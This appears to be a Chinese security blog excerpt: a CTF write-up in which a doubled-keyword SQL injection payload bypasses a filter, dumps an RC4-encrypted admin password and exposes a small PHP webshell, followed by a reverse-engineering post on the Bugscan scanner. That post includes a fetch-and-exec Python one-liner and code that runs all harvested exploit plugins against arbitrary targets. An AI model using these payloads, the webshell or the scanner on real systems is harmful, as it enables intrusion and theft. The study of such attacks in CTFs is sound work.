if ($_SERVER['HTTP_USER_AGENT'] != "seclover Browser") {
    echo '没用的!!!';
    exit;
}
$id = $_POST['soid'];
include 'Conf/xycms.inc.php';
include 'seclover.php';
include 'filter.php';
$id = seclover($id);
$con = mysql_connect($db_address, $db_user, $db_pass) or die("不能连接到数据库!!" . mysql_error());
mysql_select_db($db_name, $con);
$id = mysql_real_escape_string($id);
$sql = "SELECT * FROM `message` WHERE display=1 AND id={$id}";
$rs=mysql_fetch_array($result); echo htmlspecialchars($rs['nice']).':<br/>    '.filter($rs['say']).'<br />'; 
mysql_free_result($result); 
mysql_close($con);
?> 

读取seclover.php发现为一过滤函数

<?php
function seclover($content)
{
    $keyword = array("select", "union", "and", "from", ' ', "'", ";", '"', "char", "or", "count", "master", "name", "pass", "admin", "+", "-", "order", "=");
    $info = strtolower($content);
    for ($i = 0; $i <= count($keyword); $i++) {
        $info = str_replace($keyword[$i], '', $info);
    }
    return $info;
}

但是可以利用selselectect来匹配以后替换还剩下select这样的方式继续注入.继续回到medium.php。

if ($_SERVER['HTTP_USER_AGENT'] != "seclover Browser") {
    echo '没用的!!!';
    exit;
}

发现需要匹配的ua必选是seclover Browser。不然不能执行sql语句。post传递的值经过没有什么用的mysql_real_escape_string以后再进入sql。
经过一番xxx发现字段为4.但是有一个神奇的存在,传递到sql的id必须是不存在的.不然sql正常执行了却没有办法回显我们需要的内容
传入一个存在的

传入一个不存在的

坑爹的玩意...折腾这个一个下午啊...
然后就是猜表..期间还下载了真正的源码回来测试.

$keyword = array("select", "union", "and", "from", ' ', "'", ";", '"', "char", "or", "count", "master", "name", "pass", "admin", "+", "-", "order", "=");

果断的猜测是admin

果然是..用户名差字段不多就是username了.密码的字段找了一圈没有找到..后来发现后台是
http://112.126.88.39:10247/login/
观察了一下字段信息

  <form  name="login" method="post" 
  action="./pass.php">
    <label>用户名:
      <input type="text" name="username" />
    </label>
    <p>密&nbsp;码:
      <input type="password" name="userpass" />
  </p>
    <p>
      <label>
      <input type="submit" name="Submit" value="登录" />
      </label>
    </p>
  </form>

好吧,测试下userpass

soid=0/**/anandd/**/11%3C%3E12/**/uniunionon/**/selselectect/**/1,2,userppassass,4/**/ffromrom/**/aadmindmin/**/limit/**/1


得到的字符是加密的.记得第一次访问include.php的时候跟的是suanfa.php

<?php
base64_encode(rc4($content, "yangrong"));
function rc4($data, $pwd)
{
    $cipher = "";
    $key[] = "";
    $box[] = "";
    $pwd_length = strlen($pwd);
    $data_length = strlen($data);
    for ($i = 0; $i < 256; $i++) {
        $key[$i] = ord($pwd[$i % $pwd_length]);
        $box[$i] = $i;
    }
    for ($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $key[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for ($a = $j = $i = 0; $i < $data_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $k = $box[($box[$a] + $box[$j]) % 256];
        $cipher .= chr(ord($data[$i]) ^ $k);
    }
    return $cipher;
}

搜了一下rc4的相关内容.发现了一些有趣的东西。C4 加密算法還原 (還原只需要重新加密一次)

$key = '5201314';                               //原始KEY
$pwd = md5(md5($key).'我是常量');     //md5+常量
$data = '我愛北京天安門';                    //要加密的數據
$cipher = rc4($pwd, $data);                //AC4 加密算法
$c = rc4($pwd, $cipher);                    //AC4 加密算法還原 (還原只需要重新加密一次)

那么解密的方式就是

访问就得到了密码。登录后台以后发现

果断的读取

<?php
$pwd = "cmd00";
if (isset($_POST[$pwd]) && !empty($_POST[$pwd])) {
    $cmd = $_POST['cmd'];
    $path = $_POST['path'];
    switch ($cmd) {
        case 'ls':
            echo @FileTreeCode($path);
            break;
        case 'cat':
            echo @file_get_contents($path);
            break;
        default:
            die('Command Not Found Or No Permission!');
            break;
    }
}
function FileTreeCode($D)
{
    $ret = "";
    $F = @opendir($D);
    if ($F == NULL) {
        $ret = "ERROR:// Path Not Found Or No Permission!";
    } else {
        $M = NULL;
        $L = NULL;
        while ($N = @readdir($F)) {
            $P = $D . "/" . $N;
            $T = @date("Y-m-d H:i:s", @filemtime($P));
            @($E = substr(base_convert(@fileperms($P), 10, 8), -4));
            $R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . "\n";
            if (@is_dir($P)) {
                $M .= $N . "/" . $R;
            } else {
                $L .= $N . $R;
            }
        }
        $ret .= $M . $L;
        @closedir($F);
    }
    return $ret;
}

一个小马..简直6到不行..

提交flag

太久没弄了..学到好多姿势..

关于bugscan的屁事

发布时间:March 14, 2017 // 分类:开发笔记,linux,python,windows // No Comments

** 关于bugscan的使用 **
从14年接触python,15年开始写bugscan插件到现在bugscan的改版.早起的爬虫,后来逆向客户端.主要的是为了它那个开源的插件,还有一个原因就是它的插件太方便了.它的生成有模板可用的.

早期写的教程 https://my.oschina.net/rookier/blog/393074

** 逆向的辛酸苦辣 **
最早我还会c++的时候写过一次爬虫
https://my.oschina.net/rookier/blog/395712
后来一直学习python又重新写了一次
http://0cx.cc/python_spider_bugscan.jspx
再后来发现部分插件是没法用的.于是又果断的逆向了客户端
http://0cx.cc/uncompyle_loads.jspx

** 关于插件的调用 **
这个最早的时候是批量调用
http://0cx.cc/bug_scan_vul.jspx
后来是逆向出插件一段时候后识别后调用
http://0cx.cc/which_cms_online.jspx
期间各种扫描分析
http://0cx.cc/bugscan_run_exec.jspx

** 继续插件调用的爱恨情愁 **

python -c "exec(__import__('urllib2').urlopen('http://t.cn/xxxxx').read())" -m 5

这个url会经过短地址还原,带上自己的ID向服务器发起rpcs认证请求。详情参照http://0cx.cc/uncompyle_loads.jspx

if Debug_X(debugkey_str, 'main'):
        print 'tid=', thread.start_new_thread(Mysql_insert_QueueInfo, ())

    if '_S' not in globals():
        _S = 'https'
    if '_U' not in globals():
        _U = 'your ID just like 0000000000000'
    if '_B' not in globals():
        _B = 'old.bugscan.net'

    Urls = '%s://%s/rpcs' % (_S, _B)
    Login_Get = Loginx(_U, Urls)
    VER_INT = 1.95
    UPdate_yes_no = False
    Plugin_Code = {}

追查下Loginx

class Loginx(object):
    def __init__(self, uhash, serviceURL, serviceName=None):
        self.__serviceURL = serviceURL
        self.__serviceName = serviceName
        self.__uhash = uhash

    def __call__(self, *args):

        PC_uuid = str(uuid.uuid1())
        Login_Info_json = json.dumps({'method': self.__serviceName,
                          'params': args,
                          'uid': self.__uhash,
                          'uuid': PC_uuid})

        Mysql_table_insert('rpclog', method=self.__serviceName, params=repr(args), uid=self.__uhash, uuid=PC_uuid)

        Login_Info_json = md5.md5(Login_Info_json).hexdigest() + '|' + zlib.compress(Login_Info_json, 9)

        ServerURL = self.__serviceURL
        INT_15 = 15
        for For_int in range(INT_15):
            try:
                HTTP_getRead = None

                for For_int in range(3):

                    ServerInfo = urlparse.urlparse(ServerURL)

                    if ServerInfo.scheme == 'https':
                        Http_Obj = HttpLib(ServerInfo.hostname, ServerInfo.port, timeout=60)
                    else:
                        Http_Obj = httplib.HTTPConnection(ServerInfo.hostname, ServerInfo.port, timeout=60)

                    Http_Obj.putrequest('POST', ServerInfo.path)
                    Http_Obj.putheader('Content-Length', str(len(Login_Info_json)))
                    Http_Obj.putheader('Content-Type', 'application/json')
                    Http_Obj.endheaders()

                    Http_Obj.send(Login_Info_json)

                    HTTP_getResponse = Http_Obj.getresponse()

                    HTTP_getHeaders = dict(HTTP_getResponse.getheaders())

                    if HTTP_getHeaders.has_key('location') and HTTP_getHeaders['location'] != ServerURL:

                        Http_Obj.close()
                        ServerURL = HTTP_getHeaders['location']

                    else:

                        HTTP_getRead = HTTP_getResponse.read()
                        Http_Obj.close()
                        break

                if not HTTP_getRead:
                    raise IOError('Content empty')
                    # print HTTP_getRead

                Find_return = HTTP_getRead.find('|')
                #-------------------
                Code_md5, code_json = HTTP_getRead[:Find_return], zlib.decompress(HTTP_getRead[Find_return + 1:])

                if Code_md5 != md5.md5(code_json).hexdigest():

                    raise IOError('json decode error')

                HTTP_getResponse = json.loads(code_json)

                if PC_uuid != HTTP_getResponse['uuid']:

                    raise IOError('UUID unmatched')

            except Exception as o0oo0o0O00OO:

                if For_int == INT_15 - 1:
                    Logging_Obj.exception(Get_lineNumber_fileName())
                    raise o0oo0o0O00OO
                else:
                    time.sleep(5)
            else:
                if HTTP_getResponse['error'] != None:
                    raise RpcError(HTTP_getResponse['error'])
                else:
                    return HTTP_getResponse['result']

就是带上自己的专属id,然后直接以json格式访问rpcs地址.整个过程需要正确认证才有HTTP_getResponse['result']的返回..如果认证成功以后,会从rpcs地址获取任务

Task_List = Login_Get.get_task_list(SID_INT, Scan_thread_idel)#获取任务列表

Task_List里面包含了相关的信息

{
    u'tasks': [{u'policy': u'base64.encode(plugins)', u'id': taskid, u'target': u'testphp.acunetix.com'}], 
    u'nodever': u'0', 
    u'stops': []
}

Task_List['tasks']里面包含了相关的信息

{
    u'policy': u'base64.encode(plugins)', 任务参数
    u'id': taskid, 任务id
    u'target': u'testphp.acunetix.com'任务目标
}

Tasks_n 里面包含了相关的信息

Tasks_n = {
    u'subdomain': True, 
    u'scanport': True, 
    u'maxtask': 7000, 
    u'useragent': u'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; .NET CLR 2.0.50727)', 
    u'anyone': True, 
    u'user_dict': u'', 
    u'timeout': 24, 
    u'plugins': {}, 
    u'entry': u'http://0day5.com/', 
    u'nodes': [xxxx], 任务节点id
    u'pass_dict':
    u'', u'speed': 6
}

Tasks_n包含了填写的基本信息

Plugins_list = json.loads(base64.decodestring(Tasks_n['policy']))

获取到基本的信息以后久进入到了ProcessWork中.需要关注的就是target和Plugins_list是Tasks_n里面的到的基本信息

def ProcessWork(glock, gdebug, debugkey, uhash, rpc_server, tid, target, Plugins_list):
    global Debug_yes_no
    global sys_debug_yes_no
    global Login_Get
    global debug_key
    global Multiprocessing_RLock
    Multiprocessing_RLock = glock
    sys_debug_yes_no = gdebug
    debug_key = debugkey
    Debug_yes_no = True
    Loginx_Obj = Loginx(uhash, rpc_server)
    Oo000ooOOO = None
    if Debug_X(debugkey):
        thread.start_new_thread(Mysql_insert_QueueInfo, ())
    try:
        signal.signal(signal.SIGTERM, signal.SIG_DFL)
        signal.signal(signal.SIGINT, signal.SIG_DFL)
        Loginx_Obj.set_task_status(tid, Range_3)
        Exploit_run_Obj = Exploit_run(tid, target, Plugins_list)
        if 'entry' in Plugins_list:
            if Plugins_list['entry'].startswith('http'):#  String.startswith('xxx')判断开头是否是xxx
                Exploit_run_Obj.task_push('www', str(Plugins_list['entry']))
            else:
                Exploit_run_Obj.task_push('www', 'http://%s%s' % (target, Plugins_list['entry']))
        if not Target_isOK(target):
            Exploit_run_Obj.task_push('dns', target) # task_push(self, service, arg, uuid=None, target=None, pr=-1):
        Exploit_run_Obj.task_push('www', 'http://%s/' % target)
        Exploit_run_Obj.run()
    except (KeyboardInterrupt, SystemExit):
        pass
    except Exception as o0oo0o0O00OO:
        Logging_Obj.exception('ProcessWorker:<%d %s>' % (tid, target))
    finally:
        Loginx_Obj.set_task_status(tid, Range_5)
        if Mysql_Obj:
            Mysql_table_insert('loglog', body='exit')
    addTargetModule(target)

在Exploit_run里面的函数中能看到判断插件是否加密的部分

for plugin_x in policy['plugins']:
    Plugin = policy['plugins'][plugin_x]
    OO0OoOO0o0o = 0
    if imp.get_magic() == Plugin[:4]:
        #判定为加密的文件
        oo = marshal.loads(Plugin[8:])
        OO0OoOO0o0o = struct.unpack('<l', Plugin[4:8])[0]
    else:
        oo = Plugin
    """"""
    def _load_module(self, chunk, name='<memory>'):
        II = imp.new_module(str(name))
        exec chunk in II.__dict__
        return II
    """"""
    #imp加载文件
    II = self._load_module(oo)
    o00oo0 = None
    if OO0OoOO0o0o > 1440345600:
        #获取解密的key
        o00oo0 = Plugin[-48:-16]
        I11ii1IIiIi = Plugin[-16:]
        if I11ii1IIiIi != md5.new(Plugin[:-16]).digest()[::-1]:
            #表示不匹配
            pass
    #涉及到对II的参数补充,针对加密的插件用获取的key进行解密,
    self._patch_module(II, o00oo0)
    然后获取节点的dns,各种其他的信息.进入到task_pusk函数中.
    主要是推送的服务和地址
    def task_push(self, service, arg, uuid=None, target=None, pr=-1):
        for OO0O0 in self._modules:
            获取插件id和插件文件内容
            i1OOO0000oO = self._modules[OO0O0].assign(service, arg)
    #接下去就是判断i1OOO0000oO也就是插件运行的结果是不是一个数据
    if not isinstance(i1OOO0000oO, tuple):
        continue

所以,如果自己需要构建全部的bugscan的插件扫描功能的话.感觉还是比较简单.获取全部的插件,需要更改的就是节点中的target,还有entry,删掉或者注释掉登陆验证的请求的地方,按照它本身的结果写入或者重构数据库.其他的就静静的等待结果就好了.反正都是全部fuzz一遍.

 Mysql_table_insert('loglog', body=self.format(record))

Mysql_table_insert('rpclog', method=self.__serviceName, params=repr(args), uid=self.__uhash, uuid=PC_uuid)

Mysql_table_insert('tasklog', uuid=uuid, plugin_id=Scan_ThreadLocal.__pid, service=service, arg=repr(arg),

Mysql_table_insert('assignlog', time=int(i11i1ii1I - iI1i111I1Ii), uuid=hash, plugin_id=OO0O0,service=service, prearg=repr(arg), arg=repr(oOoO00o), isret=1, push=O0O0Oo00, i=ai + 1)

Mysql_table_insert('auditlog', uuid=md5.md5(url).hexdigest(), plugin_id=OO0O0, type=1, arg=repr(url),time=int(Day_time_2 - Day_time_1))

Mysql_table_insert('debuglog', plugin_id=Scan_ThreadLocal.__pid, body=fmt % args)

更改了一下获取的方式,因为我发现部分插件无法入库。所以入库的时候全部采用了base64编码的形式入库

                    if iIIi:
                        o0O0O00('[***] fetch %d new plugins', len(iIIi))
                        i1iiIiI1Ii1i = i1.get_plugin_list(iIIi)

                        for hash in i1iiIiI1Ii1i:
                            i1iIi = i1iiIiI1Ii1i[hash]
                            oO00oo0o00o0o[hash] = (i1iIi[0], zlib.decompress(binascii.a2b_hex(i1iIi[1])))
                            #get
                            try:
                                dbcon = Mysqlclass()
                                sql = "insert `plugin` (`name`,`upid`,`content`) VALUES (%s, %s, %s)"
                                args = str(oO00oo0o00o0o[hash][0]),str(hash),base64.b64encode(str(oO00oo0o00o0o[hash][1]))
                                print str(oO00oo0o00o0o[hash][0])
                                dbcon.exec_sql(sql,args)
                            except Exception, e:
                                print str(oO00oo0o00o0o[hash][0]),str(e)
                                pass

然后按照它本身的步骤,从数据库里面获取插件出来调用.最后的形式就是.

def get_plugins():
    plugins = {}
    sql = "select name,content from `plugin`"
    results = dbconn.select_result(sql)
    for result in results:
        pocid = int(result['name'])
        plugins[pocid] =base64.decodestring(result['content'])
    return plugins

def main(target):
    if target == '':
        target = domain
    plugins = get_plugins()
    glock = None
    gdebug = "0"
    debugkey = ''
    policy = {
        u'subdomain': True, 
        u'scanport': True, 
        u'maxtask': 7000, 
        u'useragent': u'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; .NET CLR 2.0.50727)', 
        u'anyone': True, 
        u'timeout': 24, 
        u'plugins': plugins,#{2051: '',1070: '', 1072: '', 1073: '', 1074: ''}
        u'target': target, #可以为域名和ip
        u'user_dict': u'', 
        u'pass_dict': u'', 
        u'speed': 6
    }
    tid = 1234
    service = 'www'
    ProcessWork(glock, gdebug, debugkey, tid, service, policy)

if __name__ == '__main__':
    import sys
    if len(sys.argv)==2:
        domain = sys.argv[1]
        main(domain)
    else:
        print ("%s http://fuck.0day5.com" % (sys.argv[0]))